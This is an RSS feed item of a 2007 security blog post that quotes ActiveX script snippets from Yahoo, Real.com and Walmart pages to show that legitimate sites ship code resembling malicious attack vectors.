		<pubDate>Thu, 31 May 2007 02:35:48 +0000</pubDate>
		<dc:creator>iamit</dc:creator>
				<category><![CDATA[Finjan]]></category>
		<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Attack Vector]]></category>
		<category><![CDATA[eCrime]]></category>
		<category><![CDATA[technical]]></category>

		<guid isPermaLink="false">http://www.iamit.org/blog/?p=10</guid>
		<description><![CDATA[What would you say if you saw one of these code snippets in a website you browse to: dim tass Set tass = CreateObject(&#8220;CnsHelper.CH&#8221;) If IsObject(tass) then HasCns = true else HasCns = false end if or: function winIE5upPlyrDetect(){ var playerAxObj; var iectlAxObj; try{ iectlAxObj = new ActiveXObject(&#8220;Shell.Explorer&#8221;); } catch(e){ } try{ or: var fs [...]


Related posts:<ol><li><a href='http://www.iamit.org/blog/2007/06/malicious-space-on-myspace/' rel='bookmark' title='Permanent Link: Malicious space on MySpace'>Malicious space on MySpace</a></li>
<li><a href='http://www.iamit.org/blog/2008/03/taking-down-a-malicious-site-the-good-the-bad-and-the-ugly/' rel='bookmark' title='Permanent Link: Taking down a malicious site &#8211; the good, the bad, and the ugly&#8230;'>Taking down a malicious site &#8211; the good, the bad, and the ugly&#8230;</a></li>
<li><a href='http://www.iamit.org/blog/2009/09/malicious-ads-circa-2007/' rel='bookmark' title='Permanent Link: Malicious ads circa 2007'>Malicious ads circa 2007</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>What would you say if you saw one of these code snippets in a website you browse to:</strong></p>
<blockquote><p>dim tass</p>
<p>Set tass = CreateObject(&#8220;CnsHelper.CH&#8221;)</p>
<p>If IsObject(tass) then</p>
<p>HasCns = true</p>
<p>else</p>
<p>HasCns = false</p>
<p>end if</p></blockquote>
<p>or:</p>
<blockquote><p>function winIE5upPlyrDetect(){<br />
var playerAxObj;<br />
var iectlAxObj;<br />
try{<br />
iectlAxObj = new ActiveXObject(&#8220;Shell.Explorer&#8221;);<br />
}<br />
catch(e){<br />
}<br />
try{</p></blockquote>
<p>or:</p>
<blockquote><p>var fs = new ActiveXObject(&#8220;Scripting.FileSystemObject&#8221;);</p>
<p>try {<br />
//open file, 8=appends to file, true=will create file if doesn&#8217;t already exist<br />
var a = fs.OpenTextFile( fileUri, 8, true );<br />
a.Writeline( text );<br />
a.Close();<br />
}</p></blockquote>
<p>You are probably looking at this and thinking, “ok, what is he going to show us now – some newfangled attack vector, spyware drive-by installer, local system access…”. Guess again.</p>
<p>Sample #1 is coming from Yahoo.com (more specifically <a href="http://cn.zs.yahoo.com/func.vbs">http://cn.zs.yahoo.com/func.vbs</a>), and yes – you saw that correctly, is creating the CnsHelper.CH object – an object that multiple sources consider an unwanted AdWare application (see: <a href="http://www.trendmicro.com/vinfo/grayware/ve_graywareDetails.asp?GNAME=ADW%5FCNSMIN%2EA">http://www.trendmicro.com/vinfo/grayware/ve_graywareDetails.asp?GNAME=ADW%5FCNSMIN%2EA</a>, <a href="http://www.spynomore.com/bho-hijacker-toolbar-cnsmin.htm">http://www.spynomore.com/bho-hijacker-toolbar-cnsmin.htm</a>, <a href="http://www.pestpatrol.com/spywarecenter/pest.aspx?id=453072511">http://www.pestpatrol.com/spywarecenter/pest.aspx?id=453072511</a>, …)</p>
<p>Sample  #2 is unreal. Well, actually it’s real. Real.com. (<a href="http://uk.real.com/js/playerdetection.js?rev=9507">http://uk.real.com/js/playerdetection.js?rev=9507</a>). This is how a developer tests to see if the browser looking at the page is Internet Explorer…</p>
<p>Sample #3 is the all powerful walmart.com (<a href="http://www.walmart.com/kiosk/js/log.js">http://www.walmart.com/kiosk/js/log.js</a>) which, and I’m quoting the code comment right before the function (sit tight):</p>
<p>/**<br />
* Opens a local file and appends a string to it.<br />
* Returns boolean indicating succes of opening/writing.<br />
*/<br />
Right. When browsing the web…</p>
<p>You do the math. Just think now how hard it is to work in such a demanding environment, where the good guys do not always follow the good guys coding manual (what? Didn’t you all get the memo?).</p>
<p>Till next time,</p>


<p>Related posts:<ol><li><a href='http://www.iamit.org/blog/2007/06/malicious-space-on-myspace/' rel='bookmark' title='Permanent Link: Malicious space on MySpace'>Malicious space on MySpace</a></li>
<li><a href='http://www.iamit.org/blog/2008/03/taking-down-a-malicious-site-the-good-the-bad-and-the-ugly/' rel='bookmark' title='Permanent Link: Taking down a malicious site &#8211; the good, the bad, and the ugly&#8230;'>Taking down a malicious site &#8211; the good, the bad, and the ugly&#8230;</a></li>
<li><a href='http://www.iamit.org/blog/2009/09/malicious-ads-circa-2007/' rel='bookmark' title='Permanent Link: Malicious ads circa 2007'>Malicious ads circa 2007</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.iamit.org/blog/2007/05/malicious-code-exploit-vectors-or-top-programmer-job/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
